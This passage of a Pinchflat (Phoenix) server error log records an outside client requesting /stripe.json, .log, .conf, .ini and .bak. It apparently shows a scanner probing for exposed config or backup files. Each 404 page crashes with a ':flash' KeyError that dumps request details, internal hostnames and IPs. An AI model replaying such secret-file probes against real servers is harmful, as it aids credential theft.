~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3361.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49954}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3361.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49954}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3362.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", (truncated) 21:08:43.295 [info] GET /stripe.log 21:08:43.296 [debug] QUERY OK source="settings" db=0.1ms idle=47.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.296 [debug] QUERY OK source="settings" db=0.1ms idle=40.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.296 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.296 [error] #PID<0.3364.0> running PinchflatWeb.Endpoint (connection #PID<0.3363.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3363.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49960}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3364.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sYaSTZAyW4AAHEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3363.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49960}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3363.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49960}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3364.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.352 [info] GET /stripe.conf 21:08:43.353 [debug] QUERY OK source="settings" db=0.1ms idle=96.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.353 [debug] QUERY OK source="settings" db=0.1ms idle=78.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.353 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.353 [error] #PID<0.3366.0> running PinchflatWeb.Endpoint (connection #PID<0.3365.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.conf ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3365.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.conf", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49966}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3366.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.conf", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-sl_7Vg8RroAAQOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3365.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.conf", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49966}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3365.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.conf", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49966}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3366.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", (truncated) 21:08:43.386 [info] GET /stripe.ini 21:08:43.386 [debug] QUERY OK source="settings" db=0.1ms idle=111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.387 [debug] QUERY OK source="settings" db=0.1ms idle=90.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.387 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.387 [error] #PID<0.3368.0> running PinchflatWeb.Endpoint (connection #PID<0.3367.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.ini ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.ini", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49972}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3368.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.ini", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-suAci8U07wAAQQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.ini", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49972}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.ini", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49972}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3368.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:43.393 [info] GET /stripe.bak 21:08:43.394 [debug] QUERY OK source="settings" db=0.1ms idle=97.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.394 [debug] QUERY OK source="settings" db=0.1ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.394 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.394 [error] #PID<0.3370.0> running PinchflatWeb.Endpoint (connection #PID<0.3369.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3369.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49974}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3370.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 